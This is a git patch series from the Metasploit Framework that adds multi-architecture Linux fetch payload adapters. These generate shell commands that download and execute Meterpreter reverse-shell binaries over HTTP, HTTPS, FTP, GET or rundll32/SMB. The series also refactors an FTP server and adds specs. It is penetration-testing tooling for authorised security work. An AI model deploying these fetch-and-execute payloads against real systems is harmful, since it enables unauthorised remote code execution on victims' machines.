- vprint_status request.uri_parts['QueryString']['arch'].to_s - arch = to_meterp_arch(request.uri_parts['QueryString']['arch']) + query_string = request.uri_parts['QueryString'] || {} + arch_param = query_string['arch'] + if arch_param.nil? || arch_param.strip.empty? + print_error('Fetch request missing required arch query parameter') + return nil + end + vprint_status arch_param.to_s + arch = to_meterp_arch(arch_param) if arch.nil? print_error("Failed to identify the architecture in Query String #{request.uri_parts['QueryString']['arch'].to_s}") return nil end vprint_status("Building payload for #{arch.to_s} arch") opts[:arch] = arch - @multi_arch = arch vprint_status("2") # Call generate with arch and dynamic_arch populated properly to build the right binary payload_exe = generate(opts) diff --git a/modules/payloads/adapters/cmd/linux/http/multi.rb b/modules/payloads/adapters/cmd/linux/http/multi.rb index 293b8e21de51c..990ad2d21aa89 100644 --- a/modules/payloads/adapters/cmd/linux/http/multi.rb +++ b/modules/payloads/adapters/cmd/linux/http/multi.rb @@ -22,4 +22,4 @@ def initialize(info = {}) ) ) end -end \ No newline at end of file +end diff --git a/modules/payloads/singles/linux/multi/meterpreter_reverse_tcp.rb b/modules/payloads/singles/linux/multi/meterpreter_reverse_tcp.rb index 49836e8cf5450..0148d807dd665 100644 --- a/modules/payloads/singles/linux/multi/meterpreter_reverse_tcp.rb +++ b/modules/payloads/singles/linux/multi/meterpreter_reverse_tcp.rb @@ -37,4 +37,4 @@ def generate(opts = {}) }.merge(mettle_logging_config) MetasploitPayloads::Mettle.new(mettle_arch, generate_config(opts)).to_binary :exec end -end \ No newline at end of file +end From 0479c8cb619de152c5dd8603595d08ea08a29a12 Mon Sep 17 00:00:00 2001 From: bwatters-r7 Date: Wed, 13 May 2026 17:14:33 -0500 Subject: [PATCH 06/18] Add some check for fetch multi and add https/multi --- lib/msf/core/payload/adapter/fetch.rb | 4 ++++ lib/msf/core/payload/adapter/fetch/multi.rb | 1 - spec/modules/payloads_spec.rb | 16 ++++++++++++++++ 3 files changed, 20 insertions(+), 1 deletion(-) diff --git a/lib/msf/core/payload/adapter/fetch.rb b/lib/msf/core/payload/adapter/fetch.rb index 3360978337839..6d830f45a4086 100644 --- a/lib/msf/core/payload/adapter/fetch.rb +++ b/lib/msf/core/payload/adapter/fetch.rb @@ -110,6 +110,10 @@ def generate(opts = {}) if opts[:dynamic_arch].nil? opts[:arch] ||= module_info['AdaptedArch'] if opts[:arch] == ARCH_ANY && module_info['AdaptedPlatform'] == 'linux' + multi_supported_fileless = ['none', 'python3.8+'] + multi_supported_cmd = ['WGET', 'CURL'] + fail_with(Msf::Module::Failure::BadConfig, 'Selected option for FETCH_FILELESS is not supported on multi arch Meterpreter.') unless multi_supported_fileless.include?(datastore['FETCH_FILELESS']) + fail_with(Msf::Module::Failure::BadConfig, 'Selected option for FETCH_COMMAND is not supported on multi arch Meterpreter.') unless multi_supported_cmd.include?(datastore['FETCH_COMMAND']) opts[:dynamic_arch] = true # placeholder — binary is generated on demand at request time once arch is known add_srv_entry(srvuri, 'x', opts) diff --git a/lib/msf/core/payload/adapter/fetch/multi.rb b/lib/msf/core/payload/adapter/fetch/multi.rb index 7618877f89100..aa1f69f9d7243 100644 --- a/lib/msf/core/payload/adapter/fetch/multi.rb +++ b/lib/msf/core/payload/adapter/fetch/multi.rb @@ -13,7 +13,6 @@ def _generate_multi_commands(arch_payloads = []) vprint_status("Adding #{srv_entry[:uri]} for #{srv_entry[:arch]}") datastore['FETCH_FILENAME'] = srv_entry[:uri].dup vprint_status(datastore['FETCH_FILENAME']) - vprint_status(datastore['FETCH_FILENAME']) os_arches(srv_entry[:arch]).each do |os_arch| # placing an exit after the conditionals causes 'FETCH_FILELESS to fail' if datastore['FETCH_FILELESS'] == 'none' diff --git a/spec/modules/payloads_spec.rb b/spec/modules/payloads_spec.rb index db104ab9e4858..3f93ca3329604 100644 --- a/spec/modules/payloads_spec.rb +++ b/spec/modules/payloads_spec.rb @@ -499,6 +499,14 @@ reference_name: 'cmd/linux/tftp/mips64' end + context 'cmd/linux/http/multi' do + it_should_behave_like 'payload is not cached', + ancestor_reference_names: [ + 'adapters/cmd/linux/http/multi' + ], + reference_name: 'cmd/linux/http/multi' + end + context 'cmd/linux/http/x64' do it_should_behave_like 'payload is not cached', ancestor_reference_names: [ @@ -507,6 +515,14 @@ reference_name: 'cmd/linux/http/x64' end + context 'cmd/linux/https/multi' do + it_should_behave_like 'payload is not cached', + ancestor_reference_names: [ + 'adapters/cmd/linux/https/multi' + ], + reference_name: 'cmd/linux/https/multi' + end + context 'cmd/linux/https/x64' do it_should_behave_like 'payload is not cached', ancestor_reference_names: [ From ec32a6674b1025d93e187523221d5ccb110f5f9d Mon Sep 17 00:00:00 2001 From: bwatters-r7 Date: Wed, 13 May 2026 17:15:59 -0500 Subject: [PATCH 07/18] Add https/multi --- .../adapters/cmd/linux/https/multi.rb | 25 +++++++++++++++++++ 1 file changed, 25 insertions(+) create mode 100644 modules/payloads/adapters/cmd/linux/https/multi.rb diff --git a/modules/payloads/adapters/cmd/linux/https/multi.rb b/modules/payloads/adapters/cmd/linux/https/multi.rb new file mode 100644 index 0000000000000..ebed56cec4552 --- /dev/null +++ b/modules/payloads/adapters/cmd/linux/https/multi.rb @@ -0,0 +1,25 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +module MetasploitModule + include Msf::Payload::Adapter::Fetch::Https + include Msf::Payload::Adapter::Fetch::LinuxOptions + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'HTTPS Fetch', + 'Description' => 'Fetch and execute a script to determine the host arch and execute a payload from an HTTPS server.', + 'Author' => ['Brendan Watters', 'Spencer McIntyre'], + 'Platform' => 'linux', + 'Arch' => ARCH_CMD, + 'License' => MSF_LICENSE, + 'AdaptedArch' => ARCH_ANY, + 'AdaptedPlatform' => 'linux' + ) + ) + end +end From 3eb5a0f590f1160eb0585c2a1f75d4ddedef7508 Mon Sep 17 00:00:00 2001 From: bwatters-r7 Date: Wed, 13 May 2026 18:05:30 -0500 Subject: [PATCH 08/18] Fix rspecs (again) and swap to rex-arch for uname results --- lib/msf/core/payload/adapter/fetch/multi.rb | 117 ------------------ .../core/payload/adapter/fetch/server/http.rb | 3 +- spec/modules/payloads_spec.rb | 2 +- 3 files changed, 2 insertions(+), 120 deletions(-) delete mode 100644 lib/msf/core/payload/adapter/fetch/multi.rb diff --git a/lib/msf/core/payload/adapter/fetch/multi.rb b/lib/msf/core/payload/adapter/fetch/multi.rb deleted file mode 100644 index aa1f69f9d7243..0000000000000 --- a/lib/msf/core/payload/adapter/fetch/multi.rb +++ /dev/null @@ -1,117 +0,0 @@ -module Msf - ### - # - # Common library for http multi-arch fetch payloads - # - ### - module Payload::Adapter::Fetch::Multi - - def _generate_multi_commands(arch_payloads = []) - # There is a great deal of room for improvement here. - script = 'archinfo=$(uname -m);' - arch_payloads.each do |srv_entry| - vprint_status("Adding #{srv_entry[:uri]} for #{srv_entry[:arch]}") - datastore['FETCH_FILENAME'] = srv_entry[:uri].dup - vprint_status(datastore['FETCH_FILENAME']) - os_arches(srv_entry[:arch]).each do |os_arch| - # placing an exit after the conditionals causes 'FETCH_FILELESS to fail' - if datastore['FETCH_FILELESS'] == 'none' - script << "if [ #{os_arch} = $archinfo ]; then (#{generate_fetch_commands(srv_entry[:uri])}); exit ;fi; " - else - script << "if [ #{os_arch} = $archinfo ]; then (#{generate_fetch_commands(srv_entry[:uri])}); fi; " - end - end - vprint_status(datastore['FETCH_FILENAME']) - end - script << _generate_bruteforce_multi_commands(arch_payloads) if datastore['FETCH_BRUTEFORCE'] - vprint_status(script) - script - end - - def os_arches(meterp_arch) - # multiple `uname -m` values map to the same payload arch - # we will probably need to expand this - case meterp_arch - when ARCH_AARCH64 - return ['aarch64'] - when ARCH_ARMBE - return ['armbe'] - when ARCH_ARMLE - return ['armv5l', 'armv6l', 'armv7l'] - when ARCH_MIPS64 - return ['mips64'] - when ARCH_MIPSBE - return ['mipsbe'] - when ARCH_MIPSLE - return ['mips'] - when ARCH_PPC - return ['ppc'] - when ARCH_PPCE500V2 - return ['ppce500v2'] - when ARCH_PPC64LE - return ['ppc64le'] - when ARCH_X64 - return ['x64', 'x86_64'] - when ARCH_X86 - return ['x86'] - when ARCH_ZARCH - return ['zarch'] - end - end - - def to_meterp_arch(os_arch) - # multiple `uname -m` values map to the same payload arch - # we will probably need to expand this - vprint_status("Searching for #{os_arch}") - case os_arch - when 'aarch64' - return ARCH_AARCH64 - when 'armbe' - return ARCH_ARMBE - when 'armv5l' - return ARCH_ARMLE - when 'armv6l' - return ARCH_ARMLE - when 'armv7l' - return ARCH_ARMLE - when 'mips64' - return ARCH_MIPS64 - when 'mipsbe' - return ARCH_MIPSBE - when 'mips' - return ARCH_MIPSLE - when 'ppc' - return ARCH_PPC - when 'ppce500v2' - return ARCH_PPCE500V2 - when 'ppc64le' - return ARCH_PPC64LE - when 'x64' - return ARCH_X64 - when 'x86_64' - return ARCH_X64 - when 'x86' - return ARCH_X86 - when 'zarch' - return ARCH_ZARCH - vprint_status('Nothing Found') - end - end - def multi_arches - arches = [] - arches << ARCH_AARCH64 - arches << ARCH_ARMBE - arches << ARCH_ARMLE - arches << ARCH_MIPS64 - arches << ARCH_MIPSBE - arches << ARCH_MIPSLE - arches << ARCH_PPC - arches << ARCH_PPCE500V2 - arches << ARCH_PPC64LE - arches << ARCH_X64 - arches << ARCH_X86 - arches << ARCH_ZARCH - arches - end - end -end \ No newline at end of file diff --git a/lib/msf/core/payload/adapter/fetch/server/http.rb b/lib/msf/core/payload/adapter/fetch/server/http.rb index f6594ca31a907..4ae366472600e 100644 --- a/lib/msf/core/payload/adapter/fetch/server/http.rb +++ b/lib/msf/core/payload/adapter/fetch/server/http.rb @@ -2,7 +2,6 @@ module Msf # This mixin supports only HTTP fetch handlers. module Payload::Adapter::Fetch::Server::HTTP - include Payload::Adapter::Fetch::Multi def initialize(*args) super register_advanced_options( @@ -84,7 +83,7 @@ def on_request_uri(cli, request, srv_entry) return nil end vprint_status arch_param.to_s - arch = to_meterp_arch(arch_param) + arch = Rex::Arch.from_uname(arch_param) if arch.nil? print_error("Failed to identify the architecture in Query String #{request.uri_parts['QueryString']['arch'].to_s}") return nil diff --git a/spec/modules/payloads_spec.rb b/spec/modules/payloads_spec.rb index 3f93ca3329604..2f80d44b5b53d 100644 --- a/spec/modules/payloads_spec.rb +++ b/spec/modules/payloads_spec.rb @@ -6096,7 +6096,7 @@ end context 'linux/multi/meterpreter_reverse_tcp' do - it_should_behave_like 'payload cached size is consistent', + it_should_behave_like 'payload is not cached', ancestor_reference_names: [ 'singles/linux/multi/meterpreter_reverse_tcp' ], From ecc5f4164630435197b967c94e02dda0cc1810e0 Mon Sep 17 00:00:00 2001 From: bwatters-r7 Date: Mon, 18 May 2026 13:23:34 -0500 Subject: [PATCH 09/18] catch up --- lib/msf/core/payload/adapter/fetch.rb | 8 +++++++- lib/msf/core/payload/adapter/fetch/server/ftp.rb | 1 + lib/msf/core/payload/linux/multi_arch.rb | 4 ++-- modules/payloads/adapters/cmd/windows/smb/x64.rb | 2 +- 4 files changed, 11 insertions(+), 4 deletions(-) diff --git a/lib/msf/core/payload/adapter/fetch.rb b/lib/msf/core/payload/adapter/fetch.rb index 6d830f45a4086..c2571b56717e0 100644 --- a/lib/msf/core/payload/adapter/fetch.rb +++ b/lib/msf/core/payload/adapter/fetch.rb @@ -414,7 +414,13 @@ def _generate_ftp_command(uri) # (echo ...) | tftp pattern used on Linux. when 'FTP' if windows? - ftp_cmds = "(echo binary& echo get #{uri} #{_remote_destination_win}& echo quit)| ftp -A -n -i #{srvhost} #{srvport}" + # Windows ftp.exe does not accept a port argument — it always connects + # to port 21. Strip the port from the command; FETCH_SRVPORT must be 21. + unless srvport == 21 + fail_with(Msf::Module::Failure::BadConfig, + 'Windows ftp.exe only connects to port 21. Set FETCH_SRVPORT=21.') + end + ftp_cmds = "(echo binary& echo get #{uri} #{_remote_destination_win}& echo quit)| ftp -A -n -i #{srvhost}" return _execute_win(ftp_cmds) end get_file_cmd = "ftp -Vo #{_remote_destination_nix} ftp://#{download_uri(uri)}" diff --git a/lib/msf/core/payload/adapter/fetch/server/ftp.rb b/lib/msf/core/payload/adapter/fetch/server/ftp.rb index 0d7d2a8d6f3e2..bcf4cd82b9343 100644 --- a/lib/msf/core/payload/adapter/fetch/server/ftp.rb +++ b/lib/msf/core/payload/adapter/fetch/server/ftp.rb @@ -5,6 +5,7 @@ def initialize(*args) register_options( [ Msf::OptBool.new('FETCH_SRVONCE', [true, 'Stop serving the payload after it is retrieved', true]), + ] ) end diff --git a/lib/msf/core/payload/linux/multi_arch.rb b/lib/msf/core/payload/linux/multi_arch.rb index df9604d03cfea..b692a49a293ac 100644 --- a/lib/msf/core/payload/linux/multi_arch.rb +++ b/lib/msf/core/payload/linux/multi_arch.rb @@ -35,11 +35,11 @@ def mettle_arch_transform(arch) return 'mipsel-linux-muslsf' when ARCH_PPC, 'ARCH_PPC' return 'powerpc-linux-muslsf' - when ARCH_PPCE500V2, 'ARCH_PPCE500V3' + when ARCH_PPCE500V2, 'ARCH_PPCE500V2' return 'powerpc-e500v2-linux-musl' when ARCH_PPC64LE, 'ARCH_PPC64LE' return 'powerpc64le-linux-musl' - when ARCH_X64, 'ARCH_X86' + when ARCH_X64, 'ARCH_X644' return 'x86_64-linux-musl' when ARCH_X86, 'ARCH_X86' return 'i486-linux-musl' diff --git a/modules/payloads/adapters/cmd/windows/smb/x64.rb b/modules/payloads/adapters/cmd/windows/smb/x64.rb index e4b6064a35d80..4526741d06e77 100644 --- a/modules/payloads/adapters/cmd/windows/smb/x64.rb +++ b/modules/payloads/adapters/cmd/windows/smb/x64.rb @@ -27,7 +27,7 @@ def srvport 445 # UNC paths for SMB services *must* be 445 end - def generate_fetch_commands + def generate_fetch_commands(_uri = srvuri, _dynamic_arch = false) "rundll32 #{unc},0" end From 0b75dfa91af973d42c04f8c5312bd46f4ec3bc73 Mon Sep 17 00:00:00 2001 From: bwatters-r7 Date: Wed, 3 Jun 2026 13:29:05 -0500 Subject: [PATCH 10/18] Fix rspec and rubocop issues --- lib/msf/core/payload/adapter/fetch.rb | 4 ++-- modules/payloads/adapters/cmd/windows/smb/x64.rb | 2 +- spec/modules/payloads_spec.rb | 1 - 3 files changed, 3 insertions(+), 4 deletions(-) diff --git a/lib/msf/core/payload/adapter/fetch.rb b/lib/msf/core/payload/adapter/fetch.rb index c2571b56717e0..962cc15fdb497 100644 --- a/lib/msf/core/payload/adapter/fetch.rb +++ b/lib/msf/core/payload/adapter/fetch.rb @@ -123,7 +123,7 @@ def generate(opts = {}) add_srv_entry(srvuri, generate_payload_exe(opts), opts) end - cmd = generate_fetch_commands(srvuri, opts[:dynamic_arch]) + cmd = generate_fetch_commands(uri: srvuri, dynamic_arch: opts[:dynamic_arch]) if datastore['FETCH_PIPE'] unless pipe_supported_binaries.include?(datastore['FETCH_COMMAND'].upcase) fail_with(Msf::Module::Failure::BadConfig, "Unsupported binary selected for FETCH_PIPE option: #{datastore['FETCH_COMMAND']}, must be one of #{pipe_supported_binaries}.") @@ -142,7 +142,7 @@ def generate(opts = {}) # Dispatches command generation to the selected FETCH_COMMAND helper. # # @return [String] The generated fetch-and-execute command. - def generate_fetch_commands(uri = srvuri, dynamic_arch = false) + def generate_fetch_commands(uri: srvuri, dynamic_arch: false) case datastore['FETCH_COMMAND'].upcase when 'FTP' return _generate_ftp_command(uri) diff --git a/modules/payloads/adapters/cmd/windows/smb/x64.rb b/modules/payloads/adapters/cmd/windows/smb/x64.rb index 4526741d06e77..21e7f036a8c9b 100644 --- a/modules/payloads/adapters/cmd/windows/smb/x64.rb +++ b/modules/payloads/adapters/cmd/windows/smb/x64.rb @@ -27,7 +27,7 @@ def srvport 445 # UNC paths for SMB services *must* be 445 end - def generate_fetch_commands(_uri = srvuri, _dynamic_arch = false) + def generate_fetch_commands(_uri: srvuri, _dynamic_arch: false) "rundll32 #{unc},0" end diff --git a/spec/modules/payloads_spec.rb b/spec/modules/payloads_spec.rb index 2f80d44b5b53d..919e603fdb0d6 100644 --- a/spec/modules/payloads_spec.rb +++ b/spec/modules/payloads_spec.rb @@ -6100,7 +6100,6 @@ ancestor_reference_names: [ 'singles/linux/multi/meterpreter_reverse_tcp' ], - modules_pathname: modules_pathname, reference_name: 'linux/multi/meterpreter_reverse_tcp' end From 94030893956be2d5e6757400b617bcfdf6a999d2 Mon Sep 17 00:00:00 2001 From: bwatters-r7 Date: Wed, 3 Jun 2026 19:37:38 -0500 Subject: [PATCH 11/18] Fix bug in fetch gileless shell with GET, make ftp server class-ier, and add rspecs --- lib/msf/core/payload/adapter/fetch.rb | 8 +- .../payload/adapter/fetch/linux_options.rb | 6 +- lib/msf/core/payload/adapter/fetch/pipe.rb | 4 +- .../core/payload/adapter/fetch/server/ftp.rb | 4 +- lib/rex/proto/ftp/server.rb | 137 +++-- spec/lib/rex/proto/ftp/server_spec.rb | 577 ++++++++++++++++++ .../adapters/cmd/linux/ftp/x64_spec.rb | 160 +++++ .../adapters/cmd/linux/http/x64_spec.rb | 243 ++++++++ .../adapters/cmd/linux/https/x64_spec.rb | 217 +++++++ 9 files changed, 1291 insertions(+), 65 deletions(-) create mode 100644 spec/lib/rex/proto/ftp/server_spec.rb create mode 100644 spec/modules/payloads/adapters/cmd/linux/ftp/x64_spec.rb create mode 100644 spec/modules/payloads/adapters/cmd/linux/http/x64_spec.rb create mode 100644 spec/modules/payloads/adapters/cmd/linux/https/x64_spec.rb diff --git a/lib/msf/core/payload/adapter/fetch.rb b/lib/msf/core/payload/adapter/fetch.rb index 962cc15fdb497..51b6aaeee8233 100644 --- a/lib/msf/core/payload/adapter/fetch.rb +++ b/lib/msf/core/payload/adapter/fetch.rb @@ -156,6 +156,8 @@ def generate_fetch_commands(uri: srvuri, dynamic_arch: false) return _generate_tftp_command(uri) when 'CERTUTIL' return _generate_certutil_command(uri) + when 'GET' + return _generate_get_command(uri) else fail_with(Msf::Module::Failure::BadConfig, 'Unsupported Binary Selected') end @@ -390,14 +392,14 @@ def _generate_get_command(uri) # Specifying the method (-m GET) is necessary on OSX case fetch_protocol when 'HTTP' - get_file_cmd = "GET -m GET http://#{download_uri(uri)}>#{_remote_destination}" + get_file_cmd = "GET -m GET http://#{download_uri(uri)} | tee #{_remote_destination}" when 'HTTPS' # There is no way to disable cert check in GET ... print_error('GET binary does not support insecure mode') fail_with(Msf::Module::Failure::BadConfig, 'FETCH_CHECK_CERT must be true when using GET') - get_file_cmd = "GET -m GET https://#{download_uri(uri)}>#{_remote_destination}" + get_file_cmd = "GET -m GET https://#{download_uri(uri)} | tee #{_remote_destination}" when 'FTP' - get_file_cmd = "GET ftp://#{download_uri(uri)}>#{_remote_destination}" + get_file_cmd = "GET ftp://#{download_uri(uri)} | tee #{_remote_destination}" else fail_with(Msf::Module::Failure::BadConfig, "Unsupported protocol: #{fetch_protocol.inspect}") end diff --git a/lib/msf/core/payload/adapter/fetch/linux_options.rb b/lib/msf/core/payload/adapter/fetch/linux_options.rb index e144f7bcf7eca..37b51c42ac98a 100644 --- a/lib/msf/core/payload/adapter/fetch/linux_options.rb +++ b/lib/msf/core/payload/adapter/fetch/linux_options.rb @@ -1,11 +1,11 @@ +# Mixin that registers Linux-specific fetch payload options. module Msf::Payload::Adapter::Fetch::LinuxOptions def initialize(info = {}) super register_options( [ - - Msf::OptEnum.new('FETCH_COMMAND', [true, 'Command to fetch payload', 'CURL', %w[CURL FTP TFTP TNFTP WGET]]), - Msf::OptEnum.new('FETCH_FILELESS', [true, 'Attempt to run payload without touching disk by using anonymous handles, requires Linux ≥3.17 (for Python variant also Python ≥3.8, tested shells are sh, bash, zsh)','none', ['none','python3.8+','shell-search','shell']]), + Msf::OptEnum.new('FETCH_COMMAND', [true, 'Command to fetch payload', 'CURL', %w[CURL FTP GET TFTP TNFTP WGET]]), + Msf::OptEnum.new('FETCH_FILELESS', [true, 'Attempt to run payload without touching disk by using anonymous handles, requires Linux ≥3.17 (for Python variant also Python ≥3.8, tested shells are sh, bash, zsh)', 'none', ['none', 'python3.8+', 'shell-search', 'shell']]), Msf::OptString.new('FETCH_FILENAME', [ false, 'Name to use on remote system when storing payload; cannot contain spaces or slashes', Rex::Text.rand_text_alpha(rand(8..12))], regex: %r{^[^\s/\\]*$}, conditions: ['FETCH_FILELESS', '==', 'none']), Msf::OptBool.new('FETCH_PIPE', [true, 'Host both the binary payload and the command so it can be piped directly to the shell.', false], conditions: ['FETCH_COMMAND', 'in', %w[CURL GET WGET]]), Msf::OptString.new('FETCH_WRITABLE_DIR', [ true, 'Remote writable dir to store payload; cannot contain spaces', './'], regex: /^\S*$/, conditions: ['FETCH_FILELESS', '==', 'none']) diff --git a/lib/msf/core/payload/adapter/fetch/pipe.rb b/lib/msf/core/payload/adapter/fetch/pipe.rb index 7855768c19c90..bc0e862c1e3c3 100644 --- a/lib/msf/core/payload/adapter/fetch/pipe.rb +++ b/lib/msf/core/payload/adapter/fetch/pipe.rb @@ -13,7 +13,7 @@ def pipe_supported_binaries # this is going to expand when we add psh support return %w[CURL] if windows? - %w[WGET CURL] + %w[WGET CURL GET] end def generate_pipe_command(uri) @@ -22,6 +22,8 @@ def generate_pipe_command(uri) return _generate_wget_pipe(uri) when 'CURL' return _generate_curl_pipe(uri) + when 'GET' + return _generate_get_pipe(uri) else fail_with(Msf::Module::Failure::BadConfig, "Unsupported binary selected for FETCH_PIPE option: #{datastore['FETCH_COMMAND']}, must be one of #{pipe_supported_binaries}.") end diff --git a/lib/msf/core/payload/adapter/fetch/server/ftp.rb b/lib/msf/core/payload/adapter/fetch/server/ftp.rb index bcf4cd82b9343..504d801b24e41 100644 --- a/lib/msf/core/payload/adapter/fetch/server/ftp.rb +++ b/lib/msf/core/payload/adapter/fetch/server/ftp.rb @@ -1,5 +1,5 @@ +# Mixin that provides FTP fetch handler support for fetch payload adapters. module Msf::Payload::Adapter::Fetch::Server::FTP - def initialize(*args) super register_options( @@ -32,7 +32,7 @@ def start_ftp_server(srvport, srvhost) def add_resource(fetch_service, uri, srv_entry) vprint_status("Adding FTP resource #{uri}") - fetch_service.register_file(uri, srv_entry[:data], datastore['FETCH_SRVONCE']) + fetch_service.register_file(uri, srv_entry[:data], serve_once: datastore['FETCH_SRVONCE']) @myresources << uri end diff --git a/lib/rex/proto/ftp/server.rb b/lib/rex/proto/ftp/server.rb index 2f0bc792b482e..5996d07e824b7 100644 --- a/lib/rex/proto/ftp/server.rb +++ b/lib/rex/proto/ftp/server.rb @@ -18,80 +18,90 @@ def self.hardcore_alias(port, host, *_rest) end def alias - @alias || "FTP Server" + @alias || 'FTP Server' end def initialize(port = 21, host = '0.0.0.0', context = {}) - @port = port - @host = host - @context = context - @files = {} - @serve_once = {} - @files_mutex = Mutex.new - @shutting_down = false - @server_sock = nil - @monitor_thread = nil + self.listen_port = port + self.listen_host = host + self.context = context + self.files = {} + self.serve_once = {} + self.files_mutex = Mutex.new + self.shutting_down = false + self.listener = nil + self.monitor_thread = nil end - def register_file(filename, data, serve_once = true) - @files_mutex.synchronize do - @files[filename] = data - @serve_once[filename] = serve_once + def register_file(filename, data, serve_once: true) + files_mutex.synchronize do + files[filename] = data + self.serve_once[filename] = serve_once end end def deregister_file(filename) - @files_mutex.synchronize do - @files.delete(filename) - @serve_once.delete(filename) + files_mutex.synchronize do + files.delete(filename) + serve_once.delete(filename) end end def start - @server_sock = Rex::Socket::TcpServer.create( - 'LocalHost' => @host, - 'LocalPort' => @port, - 'Context' => @context + self.listener = Rex::Socket::TcpServer.create( + 'LocalHost' => listen_host, + 'LocalPort' => listen_port, + 'Context' => context ) - @monitor_thread = Rex::ThreadFactory.spawn('FTPServerMonitor', false) do + self.monitor_thread = Rex::ThreadFactory.spawn('FTPServerMonitor', false) do monitor_socket end end def stop - @shutting_down = true - @monitor_thread&.kill rescue nil - @server_sock&.close rescue nil + self.shutting_down = true + begin + monitor_thread&.kill + rescue StandardError + nil + end + begin + listener&.close + rescue StandardError + nil + end end + attr_accessor :listen_port, :listen_host, :context, :files, :serve_once, :files_mutex, :shutting_down, :listener, :monitor_thread + private def monitor_socket - until @shutting_down + until shutting_down begin - client = @server_sock.accept + client = listener.accept Rex::ThreadFactory.spawn('FTPServerClientHandler', false) do handle_client(client) end - rescue => _e - break if @shutting_down + rescue StandardError + break if shutting_down end end end def handle_client(client) state = { - auth: false, - cwd: '/', - mode: :passive, - active_host: client.peerhost, - active_port: 20, + auth: false, + cwd: '/', + mode: :passive, + active_host: client.peerhost, + active_port: 20, passive_sock: nil } client.put("220 FTP Server Ready\r\n") - until @shutting_down + until shutting_down data = client.get_once break unless data @@ -132,11 +142,15 @@ def handle_client(client) client.put("250 Directory successfully changed.\r\n") when 'PASV' - state[:passive_sock]&.close rescue nil + begin + state[:passive_sock]&.close + rescue StandardError + nil + end state[:passive_sock] = Rex::Socket::TcpServer.create( 'LocalHost' => '0.0.0.0', 'LocalPort' => 0, - 'Context' => @context + 'Context' => context ) dport = state[:passive_sock].getsockname[2] daddr = Rex::Socket.source_address(client.peerhost) @@ -163,7 +177,7 @@ def handle_client(client) when 'SIZE' filename = ::File.basename(arg) - size = @files_mutex.synchronize { @files[filename]&.bytesize } + size = files_mutex.synchronize { files[filename]&.bytesize } if size client.put("213 #{size}\r\n") else @@ -180,8 +194,8 @@ def handle_client(client) client.put("425 Can't open data connection.\r\n") next end - listing = @files_mutex.synchronize do - @files.map do |f, d| + listing = files_mutex.synchronize do + files.map do |f, d| "-rwxr-xr-x 1 0 0 #{d.bytesize} Jan 1 2000 #{f}\r\n" end.join end @@ -196,14 +210,14 @@ def handle_client(client) next end filename = ::File.basename(arg) - file_data, once = @files_mutex.synchronize do - next [nil, nil] unless @files.key?(filename) + file_data, once = files_mutex.synchronize do + next [nil, nil] unless files.key?(filename) - data = @files[filename] - once = @serve_once[filename] + data = files[filename] + once = serve_once[filename] if once - @files.delete(filename) - @serve_once.delete(filename) + files.delete(filename) + serve_once.delete(filename) end [data, once] end @@ -213,11 +227,10 @@ def handle_client(client) end data_conn = establish_data_connection(client, state) unless data_conn - # Put the file back if we removed it and couldn't open a connection if once - @files_mutex.synchronize do - @files[filename] = file_data - @serve_once[filename] = true + files_mutex.synchronize do + files[filename] = file_data + serve_once[filename] = true end end client.put("425 Can't open data connection.\r\n") @@ -235,29 +248,41 @@ def handle_client(client) client.put("502 Command not implemented.\r\n") end end - rescue => _e + rescue StandardError # client disconnect or other error ensure - state[:passive_sock]&.close rescue nil - client.close rescue nil + begin + state[:passive_sock]&.close + rescue StandardError + nil + end + begin + client.close + rescue StandardError + nil + end end def establish_data_connection(client, state) Timeout.timeout(20) do if state[:mode] == :passive && state[:passive_sock] conn = state[:passive_sock].accept - state[:passive_sock].close rescue nil + begin + state[:passive_sock].close + rescue StandardError + nil + end state[:passive_sock] = nil conn else Rex::Socket::Tcp.create( 'PeerHost' => state[:active_host], 'PeerPort' => state[:active_port], - 'Context' => @context + 'Context' => context ) end end - rescue => _e + rescue StandardError nil end end diff --git a/spec/lib/rex/proto/ftp/server_spec.rb b/spec/lib/rex/proto/ftp/server_spec.rb new file mode 100644 index 0000000000000..908605aa953ac --- /dev/null +++ b/spec/lib/rex/proto/ftp/server_spec.rb @@ -0,0 +1,577 @@ +# -*- coding: binary -*- + +require 'spec_helper' +require 'rex/proto/ftp/server' + +RSpec.describe Rex::Proto::Ftp::Server do + subject(:server) { described_class.new(0, '127.0.0.1') } + + # --------------------------------------------------------------------------- + # Helpers + # --------------------------------------------------------------------------- + + # Read one CRLF-terminated line from a raw TCP socket. + def ftp_readline(sock) + sock.gets("\r\n").to_s + end + + # Send a command and return the server's one-line response. + def ftp_cmd(sock, command) + sock.write("#{command}\r\n") + ftp_readline(sock) + end + + # Open a control connection to the running server and consume the banner. + # Yields the socket; closes it on block exit. + def with_connection + port = server.listener.getsockname[2] + sock = TCPSocket.new('127.0.0.1', port) + ftp_readline(sock) # consume 220 banner + yield sock + ensure + sock&.close + end + + # Authenticate on an already-connected socket. + def authenticate(sock) + ftp_cmd(sock, 'USER anonymous') + ftp_cmd(sock, 'PASS test@test.com') + end + + # Send PASV and return an open data socket. + def pasv_data_socket(sock) + resp = ftp_cmd(sock, 'PASV') + parts = resp.match(/\(([^)]+)\)/)[1].split(',') + port = parts[4].to_i * 256 + parts[5].to_i + TCPSocket.new('127.0.0.1', port) + end + + # --------------------------------------------------------------------------- + # Class methods + # --------------------------------------------------------------------------- + + describe '.hardcore_alias' do + it 'returns host-port' do + expect(described_class.hardcore_alias(21, '10.0.0.1')).to eq('10.0.0.1-21') + end + + it 'ignores extra arguments' do + expect(described_class.hardcore_alias(2121, '192.168.1.1', 'ignored')).to eq('192.168.1.1-2121') + end + end + + # --------------------------------------------------------------------------- + # Instance attributes + # --------------------------------------------------------------------------- + + describe '#alias' do + it 'returns "FTP Server" by default' do + expect(server.alias).to eq('FTP Server') + end + + it 'returns @alias when set' do + server.instance_variable_set(:@alias, 'My FTP') + expect(server.alias).to eq('My FTP') + end + end + + describe '#initialize' do + it 'stores the port' do + s = described_class.new(2121, '0.0.0.0') + expect(s.listen_port).to eq(2121) + end + + it 'stores the host' do + s = described_class.new(21, '192.168.1.5') + expect(s.listen_host).to eq('192.168.1.5') + end + + it 'defaults port to 21' do + s = described_class.new + expect(s.listen_port).to eq(21) + end + + it 'defaults host to 0.0.0.0' do + s = described_class.new + expect(s.listen_host).to eq('0.0.0.0') + end + + it 'initializes files to an empty hash' do + expect(server.files).to eq({}) + end + + it 'initializes serve_once to an empty hash' do + expect(server.serve_once).to eq({}) + end + + it 'initializes shutting_down to false' do + expect(server.shutting_down).to be(false) + 